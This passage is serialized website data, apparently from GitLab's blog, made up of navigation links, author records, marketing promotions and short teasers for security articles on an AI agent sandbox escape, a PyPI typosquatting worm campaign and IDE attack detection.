delivery",{"text":2555,"config":2556},"SCM",{"href":2059,"dataGaName":2557,"dataGaLocation":2424},"source code management",{"text":2503,"config":2559},{"href":2052,"dataGaName":2560,"dataGaLocation":2424},"continuous integration & delivery",{"text":2562,"config":2563},"Value stream management",{"href":2102,"dataGaName":2564,"dataGaLocation":2424},"value stream management",{"text":2508,"config":2566},{"href":2567,"dataGaName":2511,"dataGaLocation":2424},"/solutions/gitops/",{"text":2112,"config":2569},{"href":2115,"dataGaName":2116,"dataGaLocation":2424},{"text":2571,"config":2572},"Small business",{"href":2121,"dataGaName":2122,"dataGaLocation":2424},{"text":2574,"config":2575},"Public sector",{"href":2127,"dataGaName":2128,"dataGaLocation":2424},{"text":2577,"config":2578},"Education",{"href":2579,"dataGaName":2580,"dataGaLocation":2424},"/solutions/education/","education",{"text":2582,"config":2583},"Financial services",{"href":2584,"dataGaName":2585,"dataGaLocation":2424},"/solutions/finance/","financial services",{"title":2135,"links":2587},[2588,2590,2592,2594,2597,2599,2602,2604,2606,2608,2610,2612,2614,2616],{"text":2148,"config":2589},{"href":2150,"dataGaName":2151,"dataGaLocation":2424},{"text":2153,"config":2591},{"href":2155,"dataGaName":2156,"dataGaLocation":2424},{"text":2158,"config":2593},{"href":2160,"dataGaName":2161,"dataGaLocation":2424},{"text":2163,"config":2595},{"href":2165,"dataGaName":2596,"dataGaLocation":2424},"docs",{"text":2186,"config":2598},{"href":2188,"dataGaName":2189,"dataGaLocation":2424},{"text":2600,"config":2601},"What's new",{"href":2246,"dataGaName":2247,"dataGaLocation":2424},{"text":2181,"config":2603},{"href":2183,"dataGaName":2184,"dataGaLocation":2424},{"text":2200,"config":2605},{"href":2202,"dataGaName":2203,"dataGaLocation":2424},{"text":2208,"config":2607},{"href":2210,"dataGaName":2211,"dataGaLocation":2424},{"text":2213,"config":2609},{"href":2215,"dataGaName":2216,"dataGaLocation":2424},{"text":2218,"config":2611},{"href":2220,"dataGaName":2221,"dataGaLocation":2424},{"text":2223,"config":2613},{"href":2225,"dataGaName":2226,"dataGaLocation":2424},{"text":2228,"config":2615},{"href":2230,"dataGaName":2231,"dataGaLocation":2424},{"text":2233,"config":2617},{"href":2235,"dataGaName":2236,"dataGaLocation":2424},{"title":2249,"links":2619},[2620,2622,2624,2626,2628,2630,2634,2639,2641,2643,2645],{"text":2257,"config":2621},{"href":2259,"dataGaName":2251,"dataGaLocation":2424},{"text":2262,"config":2623},{"href":2264,"dataGaName":2265,"dataGaLocation":2424},{"text":2270,"config":2625},{"href":2272,"dataGaName":2273,"dataGaLocation":2424},{"text":2275,"config":2627},{"href":2277,"dataGaName":2278,"dataGaLocation":2424},{"text":2280,"config":2629},{"href":2282,"dataGaName":2283,"dataGaLocation":2424},{"text":2631,"config":2632},"Sustainability",{"href":2633,"dataGaName":2631,"dataGaLocation":2424},"/sustainability/",{"text":2635,"config":2636},"Diversity, inclusion and belonging (DIB)",{"href":2637,"dataGaName":2638,"dataGaLocation":2424},"/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":2285,"config":2640},{"href":2287,"dataGaName":2288,"dataGaLocation":2424},{"text":2295,"config":2642},{"href":2297,"dataGaName":2298,"dataGaLocation":2424},{"text":2300,"config":2644},{"href":2302,"dataGaName":2303,"dataGaLocation":2424},{"text":2646,"config":2647},"Modern Slavery Transparency Statement",{"href":2648,"dataGaName":2649,"dataGaLocation":2424},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"items":2651},[2652,2655,2658],{"text":2653,"config":2654},"Terms",{"href":2476,"dataGaName":2477,"dataGaLocation":2424},{"text":2656,"config":2657},"Cookies",{"dataGaName":2486,"dataGaLocation":2424,"id":2487,"isOneTrustButton":206},{"text":2659,"config":2660},"Privacy",{"href":2481,"dataGaName":2482,"dataGaLocation":2424},[2662,2676],{"id":2663,"title":7,"body":1965,"config":2664,"content":2666,"description":1965,"extension":2670,"meta":2671,"navigation":206,"path":2672,"seo":2673,"stem":2674,"__hash__":2675},"blogAuthors/en-us/blog/authors/michael-henriksen.yml",{"template":2665},"BlogAuthor",{"name":7,"config":2667},{"headshot":2668,"ctfId":2669},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659488/Blog/Author%20Headshots/gitlab-logo-extra-whitespace.png","3DmojnawcJFqAgoNMCpFTX","yml",{},"/en-us/blog/authors/michael-henriksen",{},"en-us/blog/authors/michael-henriksen","dTL4-g73rNy2nzSawJkuBZzClePkjmBsk3b5cEkIceg",{"id":2677,"title":8,"body":1965,"config":2678,"content":2680,"description":1965,"extension":2670,"meta":2683,"navigation":206,"path":2684,"seo":2685,"stem":2686,"__hash__":2687},"blogAuthors/en-us/blog/authors/daniel-abeles.yml",{"template":2665,"gitlabHandle":2679},"dabeles",{"name":8,"config":2681},{"headshot":2682},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1786473980/kjzctsiwvfc6afimsdtc.jpg",{},"/en-us/blog/authors/daniel-abeles",{},"en-us/blog/authors/daniel-abeles","9j7gS6WI8857OrOR0VcnHZiFLXpZpnKFA3tgPdDU5hw",[2689,2696,2704],{"title":2690,"description":2691,"heroImage":2692,"category":1961,"date":2693,"authors":2694,"slug":2695,"externalUrl":1965},"A sandbox is only as closed as what an AI agent can reach","Stuck in an evaluation with no way out, an AI agent escaped in an hour through the one service on its allowlist. Here's the gap that opened.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1786468880/uxouffutvvwsbxzikhyc.png","2026-08-12",[8],"ai-agent-sandbox",{"title":2697,"description":2698,"heroImage":2699,"category":1961,"date":2700,"authors":2701,"slug":2703,"externalUrl":1965},"Shai-Hulud copycat campaign targets Python developers through PyPI typosquatting","GitLab’s Vulnerability Research team has uncovered a new Python supply chain attack targeting PyPI, deploying the Shai-Hulud worm to steal credentials from CI/CD systems.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772630163/akp8ly2mrsfrhsb0liyb.png","2026-06-09",[2702,8],"Dinesh Bolkensteyn","shai-hulud-copycat-campaign-targets-python-developers",{"title":2705,"description":2706,"heroImage":2707,"category":1961,"date":2708,"authors":2709,"slug":2712,"externalUrl":1965},"How to detect and prevent Contagious Interview IDE attacks","Learn how we built custom controls that detect and prevent malware campaigns like those used for Contagious Interview and how to deploy them in your environment.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1774375772/kpaaaiqhokevxxeoxvu0.png","2026-05-04",[2710,2711],"Josh Feehs","Austin Bollinger","how-to-detect-and-prevent-contagious-interview-ide-attacks",{"promotions":2714},[2715,2729,2741,2752],{"id":2716,"categories":2717,"header":2719,"text":2720,"button":2721,"image":2726},"ai-modernization",[2718],"ai","Is AI achieving its promise at scale?","Quiz will take 5 minutes or less",{"text":2722,"config":2723},"Get your AI maturity score",{"href":2724,"dataGaName":2725,"dataGaLocation":2189},"/assessments/ai-modernization-assessment/","modernization assessment",{"config":2727},{"src":2728},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/qix0m7kwnd8x2fh1zq49.png",{"id":2730,"categories":2731,"header":2733,"text":2720,"button":2734,"image":2738},"devops-modernization",[2732,2526],"product","Are you just managing tools or shipping innovation?",{"text":2735,"config":2736},"Get your DevOps maturity score",{"href":2737,"dataGaName":2725,"dataGaLocation":2189},"/assessments/devops-modernization-assessment/",{"config":2739},{"src":2740},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138785/eg818fmakweyuznttgid.png",{"id":2742,"categories":2743,"header":2744,"text":2720,"button":2745,"image":2749},"security-modernization",[1975],"Are you trading speed for security?",{"text":2746,"config":2747},"Get your security maturity score",{"href":2748,"dataGaName":2725,"dataGaLocation":2189},"/assessments/security-modernization-assessment/",{"config":2750},{"src":2751},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/p4pbqd9nnjejg5ds6mdk.png",{"id":2753,"paths":2754,"header":2757,"text":2758,"button":2759,"image":2764},"github-azure-migration",[2755,2756],"migration-from-azure-devops-to-gitlab","integrating-azure-devops-scm-and-gitlab","Is your team ready for GitHub's Azure move?","GitHub is already rebuilding around Azure. Find out what it means for you.",{"text":2760,"config":2761},"See how GitLab compares to GitHub",{"href":2762,"dataGaName":2763,"dataGaLocation":2189},"/compare/gitlab-vs-github/github-azure-migration/","github azure migration",{"config":2765},{"src":2740},{"header":2767,"blurb":2768,"button":2769,"secondaryButton":2774},"Start building faster today","See what your team can do with the intelligent orchestration platform for DevSecOps.\n",{"text":2770,"config":2771},"Get your free trial",{"href":2772,"dataGaName":1988,"dataGaLocation":2773},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/","feature",{"text":2462,"config":2775},{"href":2314,"dataGaName":1993,"dataGaLocation":2773},1786803733195]